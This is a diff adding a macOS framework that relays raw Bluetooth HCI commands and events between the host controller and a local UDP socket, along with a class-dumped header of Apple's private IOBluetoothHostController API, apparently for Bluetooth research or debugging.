+//  Created by Davide Toldo on 06.07.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import <Foundation/Foundation.h>
+#import <IOBluetooth/IOBluetooth.h>
+
+#ifndef HCIDelegate_h
+#define HCIDelegate_h
+
+@interface HCIDelegate: NSObject
+
+@property (nonatomic, assign) NSString *hostname;
+@property (nonatomic, assign) NSString *inject;
+@property (nonatomic, assign) NSString *snoop;
+
+@property (nonatomic, assign) int32_t sock_fd;
+@property (nonatomic, assign) int32_t client_fd;
+
+@property (nonatomic, assign) Boolean exit_requested;
+
+- (id) initWith:(NSString *)inject and:(NSString*)snoop;
+
++ (void) setHostname:(NSString *)arg1;
+
++ (void) setInject:(NSString *)arg1;
++ (void) setSnoop:(NSString *)arg1;
+
+- (void) shutdown;
+
+@end
+
+#endif /* HCIDelegate_h */

macos-framework/IOBluetoothExtended/IOBluetoothExtended/HCIDelegate.m

@@ -0,0 +1,42 @@
+//
+//  Commands.m
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 06.07.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import "HCIDelegate.h"
+#import "IOBluetoothExtended/IOBluetoothExtended-Swift.h"
+
+@implementation HCIDelegate
+
+Boolean exit_requested = false;
+
+- (id) initWith:(NSString *)inject and:(NSString*)snoop {
+    if (self = [super init]) {
+        self.inject = inject;
+        self.snoop = snoop;
+        self.hostname = @"127.0.0.1";
+        [self initServer];
+    }
+    return self;
+}
+
++ (void) setHostname:(NSString *)hostname {
+    self.hostname = hostname;
+}
+
++ (void) setInject:(NSString *)port {
+    self.inject = port;
+}
+
++ (void) setSnoop:(NSString *)port {
+    self.snoop = port;
+}
+
+- (void) shutdown {
+    exit_requested = true;
+}
+
+@end

macos-framework/IOBluetoothExtended/IOBluetoothExtended/HCIDelegate.swift

@@ -0,0 +1,196 @@
+//
+//  HCIDelegate.swift
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 03.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+import Foundation
+import Network
+
+extension HCIDelegate: IOBluetoothHostControllerDelegate {
+    @objc public func initServer() {
+        //print("IOBE: Initializing, snoop: \(snoop ?? "-1"), inject: \(inject ?? "-1")")
+        self.startupServer()
+    }
+
+    public func sendOverUDP(data: Data, _ hostUDP: NWEndpoint.Host, _ portUDP: NWEndpoint.Port) {
+        var server_addr = sockaddr_in()
+        let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
+        server_addr.sin_len = UInt8(server_addr_size)
+        server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
+        server_addr.sin_port = UInt16(portUDP.rawValue).bigEndian // chooses the port
+
+        let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
+        if sock_fd == -1 {
+            perror("Failure: creating socket")
+            exit(EXIT_FAILURE)
+        }
+
+        var bytes = [UInt8](repeating: 0, count: data.count)
+        (data as NSData).getBytes(&bytes, length: bytes.count)
+
+        let addr = UnsafeRawPointer(&server_addr).assumingMemoryBound(to: sockaddr.self)
+        sendto(sock_fd, &bytes, data.count, 0, addr, server_addr_size)
+    }
+    
+    private func startupServer() {
+        let i = NWEndpoint.Port(self.inject as String)
+
+        // Create socket
+        let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
+        if sock_fd == -1 {
+            perror("Failure: creating socket")
+            exit(EXIT_FAILURE)
+        }
+
+        var sock_opt_on = Int32(1)
+        setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &sock_opt_on, socklen_t(MemoryLayout.size(ofValue: sock_opt_on)))
+
+        var server_addr = sockaddr_in()
+        let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
+        server_addr.sin_len = UInt8(server_addr_size)
+        server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
+        server_addr.sin_port = UInt16(i!.rawValue).bigEndian // chooses the port
+
+        // Bind socket
+        let bind_server = withUnsafePointer(to: &server_addr) {
+            Darwin.bind(sock_fd, UnsafeRawPointer($0).assumingMemoryBound(to: sockaddr.self), server_addr_size)
+        }
+        if bind_server == -1 {
+            perror("Failure: binding port")
+            exit(EXIT_FAILURE)
+        }
+
+        //print("IOBE: Listening on", server_addr.sin_port.bigEndian)
+        DispatchQueue.global(qos: .background).async {
+            while !self.exit_requested {
+                // Prepare for receiving data
+                var client_addr = sockaddr_storage()
+                var client_addr_len = socklen_t(MemoryLayout.size(ofValue: client_addr))
+                
+                var receiveBuffer = [UInt8](repeating: 0, count: 1024)
+                var bytesRead = 0
+
+                // Receive data via syscall
+                bytesRead = withUnsafeMutablePointer(to: &client_addr) {
+                    $0.withMemoryRebound(to: sockaddr.self, capacity: 1) {
+                        recvfrom(sock_fd, &receiveBuffer, 1024, 0, $0, &client_addr_len)
+                    }
+                }
+                
+                if bytesRead == -1 {
+                    perror("Failure: error while reading")
+                    exit(EXIT_FAILURE)
+                }
+
+                // After reading the command, do all further processing on another
+                // Thread to be able to accept new incoming commands from the socket
+                DispatchQueue.global(qos: .background).async {
+                    var command = Array([UInt8](receiveBuffer).dropFirst(2))
+                    let length: UInt8 = receiveBuffer[1]
+
+                    // Send command to Bluetooth HCI Controller
+                    let hci_type = [UInt8](receiveBuffer)[0]
+                    if hci_type == 0x01 {
+                        HCICommunicator.sendHCICommand(&command, len: length)
+                    }
+                    else {
+                        HCICommunicator.sendACLCommand(&command, len: length)
+                    }
+                }
+            }
+            print("Exiting...")
+            close(self.sock_fd)
+            close(self.client_fd)
+        }
+    }
+    
+    @objc(BluetoothHCIEventNotificationMessage:inNotificationMessage:)
+    public func bluetoothHCIEventNotificationMessage(_ controller: IOBluetoothHostController,
+        in message: UnsafeMutablePointer<IOBluetoothHCIEventNotificationMessage>) {
+        
+        let opcode = message.pointee.dataInfo.opcode
+        let data = IOBluetoothHCIEventParameterData(message)
+        if opcode == 0 { return }
+        
+        let dataInfo = message.pointee.dataInfo
+        let opcod1 = String(format:"%02X", dataInfo.opcode)
+        let opcod2 = Array(repeating: "0", count: 4-opcod1.count) + Array(opcod1)
+        if opcod2.count < 4 { return }
+        let opcod3 = "\(opcod2[2])\(opcod2[3])\(opcod2[0])\(opcod2[1])"
+        
+        var result = "04"
+        result.append(String(format:"%02X", dataInfo._field7))
+        result.append("\(String(format:"%02X", dataInfo.parameterSize+3))")
+        result.append("01\(opcod3)")
+        result.append(data.hexEncodedString())
+        
+//        printFormatted(result)
+        if result.count < 8 { return }
+
+        let h = NWEndpoint.Host(self.hostname as String)
+        let s = NWEndpoint.Port(self.snoop as String)
+        
+        // Version Information
+        if opcode == 0x1001 {
+            var temp = ""
+            for i in [0,1,2,3,4,5,9,8,14,15,12,6,7,10,11] {
+                temp.append(result[i*2])
+                temp.append(result[i*2+1])
+            }
+            self.sendOverUDP(data: temp.hexadecimal!, h, s!)
+        }
+        // Connection Complete
+        else if opcode == 0x0405 || opcode == 0x0409 {
+            let orig = data.hexEncodedString()
+            var temp = "0403"
+            for i in [8,9,0,1,7,6,5,4,3,2] {
+                temp.append(orig[i*2])
+                temp.append(orig[i*2+1])
+            }
+            if temp.count != 24 { return }
+            self.sendOverUDP(data: temp.hexadecimal!, h, s!)
+        }
+        // Disconnection Complete
+        else if opcode == 0x0406 {
+            let orig = data.hexEncodedString()
+            if orig.count == 0 { return }
+            var temp = "040504"
+            for i in [2,1,0] {
+                temp.append(orig[i*2])
+                temp.append(orig[i*2+1])
+            }
+            self.sendOverUDP(data: temp.hexadecimal!, h, s!)
+        }
+        else {
+            let temp = result.hexadecimal!
+            if temp.count >= 8 {
+                self.sendOverUDP(data: temp, h, s!)
+            }
+        }
+    }
+    
+    func printFormatted(_ result: String) {
+        let str = result.separate()
+        var formatted = ""
+        for (i, sub) in str.components(separatedBy: " ").enumerated() {
+            if i % 8 == 7 {
+                let rowIndex = i/8
+                let start = result.index(result.startIndex, offsetBy: rowIndex * 32)
+                let end = rowIndex * 32 + 32 < result.count ?
+                    result.index(result.startIndex, offsetBy: rowIndex * 32 + 32) :
+                    result.endIndex
+                let range = start..<end
+                let row = String(result[range])
+                formatted.append(sub + " \(row.toAscii())\n")
+            }
+            else {
+                formatted.append(sub + " ")
+            }
+        }
+
+        print(formatted)
+    }
+}

macos-framework/IOBluetoothExtended/IOBluetoothExtended/IOBE.h

@@ -0,0 +1,26 @@
+//
+//  IOBE.h
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 19.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import <Foundation/Foundation.h>
+#import <IOBluetooth/IOBluetooth.h>
+
+#ifndef IOBE_h
+#define IOBE_h
+
+@class HCIDelegate;
+
+@interface IOBE: NSObject {
+    IOBluetoothHostController *controller;
+    HCIDelegate *delegate;
+}
+
+- (void) shutdown;
+
+@end
+
+#endif /* IOBE_h */

macos-framework/IOBluetoothExtended/IOBluetoothExtended/IOBE.m

@@ -0,0 +1,31 @@
+//
+//  IOBE.m
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 19.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import "IOBE.h"
+#import "HCIDelegate.h"
+
+@implementation IOBE
+
+- (id) initWith:(NSString *)inject and:(NSString*)snoop {
+    if (self = [super init]) {
+        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{
+            self->controller = IOBluetoothHostController.defaultController;
+            self->delegate = [[HCIDelegate alloc] initWith:inject and:snoop];
+            self->controller.delegate = self->delegate;
+            
+            [[NSRunLoop currentRunLoop] run];
+        });
+    }
+    return self;
+}
+
+- (void) shutdown {
+    [self->delegate shutdown];
+}
+
+@end

macos-framework/IOBluetoothExtended/IOBluetoothExtended/IOBluetoothExtended.h

@@ -0,0 +1,20 @@
+//
+//  IOBluetoothExtended.h
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 06.07.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import <Cocoa/Cocoa.h>
+#import <HCIDelegate.h>
+#import <HCICommunicator.h>
+#import <IOBluetoothHostController.h>
+
+//! Project version number for IOBluetoothExtended.
+FOUNDATION_EXPORT double IOBluetoothExtendedVersionNumber;
+
+//! Project version string for IOBluetoothExtended.
+FOUNDATION_EXPORT const unsigned char IOBluetoothExtendedVersionString[];
+
+// In this header, you should import all the public headers of your framework using statements like #import <IOBluetoothExtended/PublicHeader.h>

macos-framework/IOBluetoothExtended/IOBluetoothExtended/IOBluetoothHostController.h

@@ -0,0 +1,349 @@
+//
+//     Generated by class-dump 3.5 (64 bit).
+//
+//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
+//
+
+@import Foundation;
+@import IOBluetooth;
+
+struct IOBluetoothHCIEventNotificationMessage;
+typedef struct IOBluetoothHCIEventNotificationMessage * IOBluetoothHCIEventNotificationMessageRef;
+
+NS_ASSUME_NONNULL_BEGIN
+
+@protocol IOBluetoothHostControllerDelegate
+
+@optional
+
+- (void)BluetoothHCIEventNotificationMessage:(IOBluetoothHostController*)controller
+                       inNotificationMessage:(IOBluetoothHCIEventNotificationMessageRef)message;
+
+@end
+
+@interface IOBluetoothHostController (PrivateAPI)
+
++ (void)initialize;
++ (id)getPropertyObjectFromIOServiceNamed:(const char *)arg1 forKey:(id)arg2;
++ (id)defaultController;
++ (id)controllers;
++ (void)enableNotifications;
+@property id delegate; // @synthesize delegate=_delegate;
+- (void)BluetoothHostControllerSetupCompleted;
+- (void)sendInquiryResultToDelegate:(struct IOBluetoothHCIEventNotificationMessage *)arg1;
+- (void)processRawEventData:(const void *)arg1 dataSize:(unsigned long long)arg2;
+- (void)asyncHCIEventNotificationWithRef:(struct OpaqueIOBluetoothNotificationRef *)arg1 subClass:(unsigned int)arg2 data:(const void *)arg3 dataSize:(unsigned long long)arg4;
+- (void)stopHCIEventListener;
+- (id)getDeviceForHCIRequestID:(unsigned int)arg1 removeIfFound:(BOOL)arg2;
+- (void)addDeviceToOutstandingRequests:(id)arg1 forHCIRequestID:(unsigned int)arg2;
+- (int)BluetoothHCILETrackSensor:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 timeoutValue:(unsigned char)arg3 outLEextOpcode:(char *)arg4;
+- (int)BluetoothHCILEExtendedDuplicateFilter:(char *)arg1 outAction:(unsigned char)arg2;
+- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
+- (int)BluetoothHCILEAdvPacketPacketFilterServiceUUIDWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 logicalType:(unsigned char)arg3 outLEextOpcode:(char *)arg4 outAction:(char *)arg5 UUID:(char *)arg6;
+- (int)BluetoothHCIBroadcomTagLEA:(unsigned long long)arg1 connectionHandle:(unsigned short)arg2 input:(BOOL)arg3 channel:(BOOL)arg4;
+- (int)BluetoothHCILEScanRSSIThresholdWrite:(unsigned char)arg1 rssiThresdhold:(BOOL)arg2 outAction:(char *)arg3;
+- (int)BluetoothHCILEScanRSSIThresholdRead:(char *)arg1 outMode:(char *)arg2 outRSSIThreshold:(char *)arg3;
+- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionClear:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4;
+- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionRead:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 outLEextOpcode:(char *)arg3 outAction:(char *)arg4 outFeatureSelection:(unsigned int *)arg5 outLogicalType:(char *)arg6;
+- (int)BluetoothHCILEAdvPacketContentFilterFeatureSectionWrite:(struct BluetoothDeviceAddress *)arg1 addressType:(unsigned char)arg2 featureSelection:(unsigned int)arg3 logicalType:(unsigned char)arg4 outLEextOpcode:(char *)arg5 outAction:(char *)arg6;
+- (int)BluetoothHCILEBroadcomReadIRKList:(unsigned char)arg1 outLEextOpcode:(char *)arg2 outIRKListIndex:(char *)arg3 outIRK:(char *)arg4 outAddressType:(char *)arg5 outAddress:(struct BluetoothDeviceAddress *)arg6 outResolvedPrivateAddress:(struct BluetoothDeviceAddress *)arg7;
+- (int)BluetoothHCILEBroadcomClearIRKList:(char *)arg1 outIRKListAvailableSpace:(char *)arg2;
+- (int)BluetoothHCILEBroadcomRemoveIRKFromList:(unsigned char)arg1 address:(struct BluetoothDeviceAddress *)arg2 outLEextOpcode:(char *)arg3 outIRKListAvailableSpace:(char *)arg4;
+- (int)BluetoothHCILEBroadcomAddIRKToList:(char *)arg1 addressType:(unsigned char)arg2 address:(struct BluetoothDeviceAddress *)arg3 outLEextOpcode:(char *)arg4 outIRKListAvailableSpace:(char *)arg5;
+- (int)BluetoothHCILEBroadcomEnableCustomerSpecificFeatures:(unsigned int)arg1 outLEextOpcode:(char *)arg2;
+- (int)readVerboseConfigVersionInfo:(char *)arg1 outTargetID:(char *)arg2 outBaseline:(unsigned short *)arg3 outBuild:(unsigned short *)arg4;
+- (int)superPeekPoke:(unsigned char)arg1 address:(unsigned int)arg2 outValue:(unsigned int *)arg3;
+- (int)removeHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1;
+- (int)readHIDEmulationDevices;
+- (int)addHIDEmulationDevice:(struct BluetoothDeviceAddress)arg1 classOfDevice:(unsigned int)arg2 linkKey:(struct BluetoothKey)arg3;
+- (int)triStateEnabled:(BOOL)arg1;
+- (int)startTransmitTest:(struct BluetoothDeviceAddress *)arg1 hoppingMode:(unsigned char)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7 transmitPower:(unsigned char)arg8 transmitPowerdBm:(unsigned char)arg9 transmitPowerTableIndex:(unsigned char)arg10;
+- (int)startReceiveTest:(struct BluetoothDeviceAddress *)arg1 reportPeriod:(unsigned short)arg2 frequency:(unsigned char)arg3 modulationType:(unsigned char)arg4 logicalChannel:(unsigned char)arg5 packetType:(unsigned char)arg6 packetLength:(unsigned short)arg7;
+- (int)setTransmitPowerForDevice:(id)arg1 toLevel:(unsigned char)arg2;
+- (int)readRawRSSIForDevice:(id)arg1;
+- (int)BluetoothHCIBroadcomSetProximityTrigger:(unsigned char)arg1 inEnableAwayTrigger:(unsigned char)arg2;
+- (int)BluetoothHCIBroadcomSetProximityTable:(const struct BluetoothDeviceAddress *)arg1 inPowerSteps:(unsigned char)arg2 inAwayTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg3 inPresentTriggerValues:(struct BluetoothBroadcomRSSITriggerValue *)arg4;
+- (int)BluetoothHCIBroadcomReadRetransmissionStatus:(unsigned char)arg1 inConnectionHandle:(unsigned short)arg2 inNotificationEnable:(unsigned char)arg3 inNotificationThreshold:(unsigned char)arg4 outConnectionHandle:(unsigned short *)arg5 outRetransmissionCounter:(unsigned int *)arg6 outRetransmissionPercentage:(char *)arg7;
+- (int)BluetoothHCIBroadcomIncreaseDecreasePowerLevel:(const struct BluetoothDeviceAddress *)arg1 increase:(unsigned char)arg2;
+- (int)BluetoothHCIBroadcomTurnOFFDynamicPowerControl:(unsigned char)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2;
+- (int)BluetoothHCIBroadcomChangeLNAGainCoexsECI:(unsigned char)arg1;
+- (int)BluetoothHCIBroadcomSetUSBAutoResume:(unsigned short)arg1;
+- (int)BluetoothHCIBroadcomIgnoreUSBReset:(char *)arg1;
+- (int)BluetoothHCIBroadcomGetEDRACLConnectionStats;
+- (int)BluetoothHCIBroadcomResetBasicRateACLConnectionStats;
+- (int)BluetoothHCIBroadcomGetBasicRateACLConnectionStats;
+- (int)BluetoothHCIBroadcomBFCIsConnectionTBFCSuspended:(unsigned short)arg1 outBFCConnectionInfo:(struct BluetoothBroadcomBFCConnectionTBFCSuspendedInfo *)arg2;
+- (int)BluetoothHCIBroadcomReadLocalFirmwareInfo:(unsigned char)arg1 outLocalFirmwareInfo:(struct BluetoothBroadcomLocalFirmwareInfo *)arg2;
+- (int)BluetoothHCIBroadcomSetEventMask:(const struct BluetoothBroadcomSetEventMask *)arg1;
+- (int)BluetoothHCIBroadcomBFCCreateConnection:(const struct BluetoothDeviceAddress *)arg1 inPacketType:(unsigned short)arg2 outConnectionCompleteResults:(struct BluetoothHCIEventConnectionCompleteResults *)arg3;
+- (int)BluetoothHCIBroadcomBFCReadScanEnable:(char *)arg1;
+- (int)BluetoothHCIBroadcomBFCWriteScanEnable:(unsigned char)arg1;
+- (int)BluetoothHCIBroadcomBFCReadRemoteBPCSFeatures:(unsigned short)arg1 outBPCSFeatures:(struct BluetoothBroadcomBFCRemoteBPCSFeatures *)arg2;
+- (int)BluetoothHCIBroadcomSetTransmitPower:(unsigned short)arg1 inPower:(BOOL)arg2;
+- (int)BluetoothHCIBroadcomBFCSetParams:(struct BluetoothBroadcomBFCParams *)arg1;
+- (int)BluetoothHCIBroadcomBFCReadParams:(struct BluetoothBroadcomBFCParams *)arg1;
+- (int)BluetoothHCIBroadcomBFCResume:(unsigned short)arg1 inDeviceAddress:(const struct BluetoothDeviceAddress *)arg2 inBFCResume:(struct BluetoothBroadcomBFCReconnectData *)arg3;
+- (int)BluetoothHCIBroadcomBFCSuspend:(unsigned short)arg1;
+- (int)BluetoothHCIBroadcomReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
+- (int)BluetoothHCIAtherosReadRawRSSI:(const struct BluetoothDeviceAddress *)arg1 outRSSI:(char *)arg2;
+- (int)BluetoothHCICSRReadRawRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
+- (BOOL)isLEASupported;
+- (BOOL)pairedDeviceSupportTBFCPage;
+- (BOOL)tbfcPageSupported;
+- (BOOL)tbfcSupported;
+- (BOOL)concurrentCreateConnectionSupported;
+- (struct BluetoothHCISupportedFeatures)supportedFeatures;
+- (id)cachedDeviceAddressString;
+- (id)cachedDeviceAddress;
+- (unsigned char)cachedHCIVersion;
+- (BOOL)lowEnergySupported;
+- (int)setPowerState:(int)arg1;
+@property(readonly) int powerState;
+- (BOOL)powerChangeSupported;
+- (int)BluetoothHCILETestEnd:(unsigned short *)arg1;
+- (int)BluetoothHCILETransmitterTest:(unsigned char)arg1 lengthOfTestData:(unsigned char)arg2 packetPayload:(unsigned char)arg3;
+- (int)BluetoothHCILEReceiverTest:(unsigned char)arg1;
+- (int)BluetoothHCILEReadSupportedStates:(unsigned long long *)arg1;
+- (int)BluetoothHCILELongTermKeyRequestNegativeReply:(unsigned short)arg1;
+- (int)BluetoothHCILELongTermKeyRequestReply:(unsigned short)arg1 longTermKey:(char *)arg2;
+- (int)BluetoothHCILEStartEncryption:(unsigned short)arg1 randomNumber:(unsigned long long)arg2 encryptedDiversifier:(unsigned short)arg3 longTermKey:(char *)arg4;
+- (int)BluetoothHCILERand:(unsigned long long *)arg1;
+- (int)BluetoothHCILEEncrypt:(char *)arg1 plaintextData:(char *)arg2 encryptedData:(char *)arg3;
+- (int)BluetoothHCILEReadRemoteUsedFeatures:(unsigned short)arg1;
+- (int)BluetoothHCILEReadChannelMap:(unsigned short)arg1 channelMap:(unsigned long long *)arg2;
+- (int)BluetoothHCILESetHostChannelClassification:(unsigned long long)arg1;
+- (int)BluetoothHCILEConnectionUpdate:(unsigned short)arg1 connectionIntervalMin:(unsigned short)arg2 connectionIntervalMax:(unsigned short)arg3 connectionLatency:(unsigned short)arg4 supervisionTimeout:(unsigned short)arg5 minimumCELength:(unsigned short)arg6 maximumCELength:(unsigned short)arg7;
+- (int)BluetoothHCILERemoveDeviceFromWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
+- (int)BluetoothHCILEAddDeviceToWhiteList:(unsigned char)arg1 address:(const struct BluetoothDeviceAddress *)arg2;
+- (int)BluetoothHCILEClearWhiteList;
+- (int)BluetoothHCILEReadWhiteListSize:(char *)arg1;
+- (int)BluetoothHCILECreateConnectionCancel;
+- (int)BluetoothHCILECreateConnection:(unsigned short)arg1 LEScanWindow:(unsigned short)arg2 initiatorFilterPolicy:(unsigned char)arg3 peerAddressType:(unsigned char)arg4 peerAddress:(struct BluetoothDeviceAddress *)arg5 ownAddressType:(unsigned char)arg6 connectionIntervalMin:(unsigned short)arg7 connectionIntervalMax:(unsigned short)arg8 connectionLatency:(unsigned short)arg9 supervisionTimeout:(unsigned short)arg10 minimumCELength:(unsigned short)arg11 maximumCELength:(unsigned short)arg12;
+- (int)BluetoothHCILESetScanEnable:(unsigned char)arg1 filterDuplicates:(unsigned char)arg2;
+- (int)BluetoothHCILESetScanParameters:(unsigned char)arg1 LEScanInterval:(unsigned short)arg2 LEScanWindow:(unsigned short)arg3 ownAddressType:(unsigned char)arg4 scanningFilterPolicy:(unsigned char)arg5;
+- (int)BluetoothHCILESetAdvertiseEnable:(unsigned char)arg1;
+- (int)BluetoothHCILESetScanResponseData:(unsigned char)arg1 scanResponseData:(char *)arg2;
+- (int)BluetoothHCILESetAdvertisingData:(unsigned char)arg1 advertsingData:(char *)arg2;
+- (int)BluetoothHCILEReadAdvertisingChannelTxPower:(char *)arg1;
+- (int)BluetoothHCILESetAdvertisingParameters:(unsigned short)arg1 advertisingIntervalMax:(unsigned short)arg2 advertisingType:(unsigned char)arg3 ownAddressType:(unsigned char)arg4 directAddressType:(unsigned char)arg5 directAddress:(struct BluetoothDeviceAddress *)arg6 advertisingChannelMap:(unsigned char)arg7 advertisingFilterPolicy:(unsigned char)arg8;
+- (int)BluetoothHCILESetRandomAddress:(struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCILEReadLocalSupportedFeatures:(unsigned long long *)arg1;
+- (int)BluetoothHCILEReadBufferSize:(unsigned short *)arg1 totalNumberLEDataPackets:(char *)arg2;
+- (int)BluetoothHCILESetEventMask:(unsigned long long)arg1;
+- (void)BluetoothHCIEventNotification:(const struct IOBluetoothHCIEventNotificationMessage *)arg1;
+- (int)BluetoothHCIWriteSimplePairingDebugMode:(unsigned char)arg1;
+- (int)BluetoothHCIEnableDeviceUnderTestMode;
+- (int)BluetoothHCIWriteLoopbackMode:(unsigned char)arg1;
+- (int)BluetoothHCIReadLoopbackMode:(char *)arg1;
+- (int)BluetoothHCIReadClock:(unsigned short)arg1 inWhichClock:(unsigned char)arg2 outReadClockInfo:(struct BluetoothReadClockInfo *)arg3;
+- (int)BluetoothHCIReadAFHChannelMap:(unsigned short)arg1 outAFHMode:(char *)arg2 outAFHChannelMap:(unsigned char [10])arg3;
+- (int)BluetoothHCIReadRSSI:(unsigned short)arg1 outRSSI:(char *)arg2;
+- (int)BluetoothHCIReadLinkQuality:(unsigned short)arg1 outLinkQuality:(char *)arg2;
+- (int)BluetoothHCIResetFailedContactCounter:(unsigned short)arg1;
+- (int)BluetoothHCIReadFailedContactCounter:(unsigned short)arg1 outFailedContactCounter:(unsigned short *)arg2;
+- (int)BluetoothHCIReadDeviceAddress:(struct BluetoothDeviceAddress *)arg1;
+- (int)BluetoothHCIReadBufferSize:(unsigned short *)arg1 outHCSynchronousDataPacketLength:(char *)arg2 outHCTotalNumACLDataPackets:(unsigned short *)arg3 outHCTotalNumSynchronousDataPackets:(unsigned short *)arg4;
+- (int)BluetoothHCIReadLocalExtendedFeatures:(unsigned char)arg1 outMaximumPageNumber:(char *)arg2 outExtendedLMPFeatures:(struct BluetoothHCISupportedFeatures *)arg3;
+- (int)BluetoothHCIReadLocalSupportedFeatures:(struct BluetoothHCISupportedFeatures *)arg1;
+- (int)BluetoothHCIReadLocalSupportedCommands:(struct BluetoothHCISupportedCommands *)arg1;
+- (int)BluetoothHCIReadLocalVersionInformation:(char *)arg1 outHCIRevision:(unsigned short *)arg2 outLMPVersion:(char *)arg3 outManufacturerName:(unsigned short *)arg4 outLMPSubversion:(unsigned short *)arg5;
+- (int)BluetoothHCIWriteLEHostSupported:(unsigned char)arg1 simultaneousLEHost:(unsigned char)arg2;
+- (int)BluetoothHCIReadLEHostSupported:(char *)arg1 simultaneousLEHost:(char *)arg2;
+- (int)BluetoothHCIEnhancedFlush:(unsigned short)arg1 inPacketType:(unsigned char)arg2 outConnectionHandle:(unsigned short *)arg3;
+- (int)BluetoothHCIWriteDefaultErroneousDataReporting:(unsigned char)arg1;
+- (int)BluetoothHCIReadDefaultErroneousDataReporting:(char *)arg1;
+- (int)BluetoothHCISendKeypressNotification:(const struct BluetoothDeviceAddress *)arg1 inNotificationType:(unsigned char)arg2;
+- (int)BluetoothHCIWriteInquiryTransmitPowerLevel:(BOOL)arg1;
+- (int)BluetoothHCIReadInquiryResponseTransmitPowerLevel:(char *)arg1;
+- (int)BluetoothHCIReadLocalOOBData:(struct BluetoothHCISimplePairingOOBData *)arg1 outR:(struct BluetoothHCISimplePairingOOBData *)arg2;
+- (int)BluetoothHCIWriteSimplePairingMode:(unsigned char)arg1;
+- (int)BluetoothHCIReadSimplePairingMode:(char *)arg1;
+- (int)BluetoothHCIRefreshEncryptionKey:(unsigned short)arg1 outRefreshEncryptionKeyResults:(struct BluetoothHCIEventEncryptionKeyRefreshCompleteResults *)arg2;
+- (int)BluetoothHCIWriteExtendedInquiryResponse:(unsigned char)arg1 inExtendedInquiryResponse:(const struct BluetoothHCIExtendedInquiryResponse *)arg2;
+- (int)BluetoothHCIReadExtendedInquiryResponse:(char *)arg1 outExtendedInquiryResponse:(struct BluetoothHCIExtendedInquiryResponse *)arg2;
+- (int)BluetoothHCIWriteAFHChannelAssessmentMode:(unsigned char)arg1;
+- (int)BluetoothHCIReadAFHChannelAssessmentMode:(char *)arg1;
+- (int)BluetoothHCIWritePageScanType:(unsigned char)arg1;
+- (int)BluetoothHCIReadPageScanType:(char *)arg1;
+- (int)BluetoothHCIWriteInquiryMode:(unsigned char)arg1;
+- (int)BluetoothHCIReadInquiryMode:(char *)arg1;
+- (int)BluetoothHCIWriteInquiryScanType:(unsigned char)arg1;
+- (int)BluetoothHCIReadInquiryScanType:(char *)arg1;
+- (int)BluetoothHCISetAFHHostChannelClassification:(const struct BluetoothAFHHostChannelClassification *)arg1;
+- (int)BluetoothHCIWriteCurrentIACLAP:(const struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
+- (int)BluetoothHCIReadCurrentIACLAP:(struct BluetoothHCICurrentInquiryAccessCodes *)arg1;
+- (int)BluetoothHCIReadNumberOfSupportedIAC:(char *)arg1;
+- (int)BluetoothHCIWriteLinkSupervisionTimeout:(unsigned short)arg1 inLinkSupervisionTimeout:(unsigned short)arg2;
+- (int)BluetoothHCIReadLinkSupervisionTimeout:(unsigned short)arg1 outLinkSupervisionTimeout:(unsigned short *)arg2;
+- (int)BluetoothHCIHostNumberOfCompletedPackets:(unsigned char)arg1 inHandle:(const unsigned short *)arg2 inHostNumOfCompletedPackets:(const unsigned short *)arg3;
+- (int)BluetoothHCIHostBufferSize:(unsigned short)arg1 inHostSynchronousDataPacketLength:(unsigned char)arg2 inHostTotalNumACLDataPackets:(unsigned short)arg3 inHostTotalNumSynchronousDataPackets:(unsigned short)arg4;
+- (int)BluetoothHCISetControllerToHostFlowControl:(unsigned char)arg1;
+- (int)BluetoothHCIWriteSynchronousFlowControlEnable:(unsigned char)arg1;
+- (int)BluetoothHCIReadSynchronousFlowControlEnable:(char *)arg1;
+- (int)BluetoothHCIReadTransmitPowerLevel:(unsigned short)arg1 inType:(unsigned char)arg2 outTransmitPowerLevel:(char *)arg3;
+- (int)BluetoothHCIWriteHoldModeActivity:(unsigned char)arg1;
+- (int)BluetoothHCIReadHoldModeActivity:(char *)arg1;
